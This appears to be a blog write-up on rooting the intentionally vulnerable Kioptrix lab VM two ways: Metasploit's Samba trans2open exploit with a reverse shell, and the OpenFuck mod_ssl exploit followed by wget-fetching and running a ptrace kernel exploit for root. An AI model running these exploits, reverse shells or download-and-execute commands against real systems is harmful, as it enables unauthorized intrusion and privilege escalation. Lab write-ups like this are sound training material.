Kioptrix#

This writeup was originally published on 11.05.2019

After a while I’m back with another writeup. While I wasn’t publishing writeups I wasn’t idle. In the meantime I managed to get my OSCP certificate, which I’ll desribe in a seperate post.

Today I decided to crack an old one: Kioptrix. It is known in the OSCP community for being similar to the lab machines from the PWK course.

From the VM’s description:

This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player) . The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.

I have found two ways of rooting this machine. First one is more reliable and give root privileges in one run. Second one allowed to get a limited shell first, and then escalate privileges. It is less reliable because shell had tendencies to disconnect after a couple of minutes. Still it is worth knowing.

Recon#

Let’s start with some nmap:

# nmap 192.168.0.100 -sT -sV -O -n
-- snip --
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 2.9p2 (protocol 1.99)
80/tcp    open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
32768/tcp open  status      1 (RPC #100024)
-- snip --
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
-- snip --

Samba < 2.2.8 (Linux/BSD) — Remote Code Execution#

First way of rooting Kioptrix is a remote code execution in Samba. Samba is always worth checking out during a pentest. It has a long history of big one-shot vulnerabilities and common misconfigurations that allow to gain valuable intel on the machine. This time it allows to win almost prematurely.

First I used a Metasploit module to obtain running Samba version:

msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(scanner/smb/smb_version) > info
       Name: SMB Version Detection
     Module: auxiliary/scanner/smb/smb_version
    License: Metasploit Framework License (BSD)
       Rank: Normal
Provided by:
  hdm <x@hdm.io>
Check supported:
  Yes
Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  RHOSTS                      yes       The target address range or CIDR identifier
  SMBDomain  .                no        The Windows domain to use for authentication
  SMBPass                     no        The password for the specified username
  SMBUser                     no        The username to authenticate as
  THREADS    1                yes       The number of concurrent threads
Description:
  Display version information about each system
msf auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.0.100
RHOSTS => 192.168.0.100
msf auxiliary(scanner/smb/smb_version) > run

Googling Samba version 2.2.1a shows that there is a known remote buffer overflow in trans2open( ) function(https://www.exploit-db.com/exploits/7) .

The easiest way was to use another Metasploit module:

msf exploit(linux/samba/trans2open) > options
Module options (exploit/linux/samba/trans2open):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.0.100    yes       The target address
   RPORT  139              yes       The target port (TCP)

Payload options (linux/x86/shell_reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   CMD    /bin/sh          yes       The command string to execute
   LHOST  192.168.0.101    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:
   Id  Name
   --  ----
   0   Samba 2.2.x - Bruteforce

msf exploit(linux/samba/trans2open) > run
[*] Started reverse TCP handler on 192.168.0.101:4444 
[*] 192.168.0.100:139 - Trying return address 0xbffffdfc...
[*] 192.168.0.100:139 - Trying return address 0xbffffcfc...
[*] 192.168.0.100:139 - Trying return address 0xbffffbfc...
[*] 192.168.0.100:139 - Trying return address 0xbffffafc...
[*] Command shell session 9 opened (192.168.0.101:4444 -> 192.168.0.100:32780) at 2019-05-12 00:08:18 +0200

Game over :)

Mod_ssl remote buffer overflow#

Another way to break the machine is a mod_ssl vulnerability. Nmap scan indicates that it runs in version 2.8.4. So it should be vulnerable do to a ‘OpenFuck V2’ attack. Proof of concept can be found on ExploitDB . On modern systems there can be a couple of problems compiling the exploit. They can be fixed by following an excellent post on Paulsec . My final version of exploit can be found here .

There are a lot of versions of running the exploit depending on the system and Apache version of attacked machine. I decided to first search the know list for Apache version obtained from nmap. There were two matches that also matched Red Hat Linux distribution

root@kali:~/Documents/kioptrix# ./OpenFuck | grep '1.3.20'
-- snip --
	0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
	0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
-- snip --

I chose second one and ran the exploit which returned me a shell:

root@kali:~/Documents/kioptrix# ./OpenFuck 0x6b 192.168.0.100
-- snip ==
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f81c8
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$ 
exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; net/0304- 
--01:02:24--  http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
           => `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:80... 
dl.packetstormsecurity.net: Host not found.
gcc: ptrace-kmod.c: No such file or directory
gcc: No input files
rm: cannot remove `ptrace-kmod.c': No such file or directory
bash: ./p: No such file or directory
bash-2.05$ 
bash-2.05$ whoami
whoami
apache

As can be seen on the above listing, the exploit also tries to escalate privleges by downloading ptrace-kmod.c file. It obviously fails because of the fact that my Kioptrix instance is not connected to the internet. Fortunately it can be also done manually by hosting ptrace-kmod.c file on the attacking machine.

bash-2.05$ cd /tmp 
cd /tmp
bash-2.05$ wget http://192.168.0.101/ptrace.c
wget http://192.168.0.101/ptrace.c
-- snip --
bash-2.05$ gcc ptrace.c -o ptrace
gcc ptrace.c -o ptrace
ptrace.c:185:27: warning: no newline at end of file
bash-2.05$ chmod +x ptrace
chmod +x ptrace
bash-2.05$ ./ptrace
./3
[+] Attached to 1539
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
whoami 
root

Game over #2 :)

Post converted from Medium by ZMediumToMarkdown.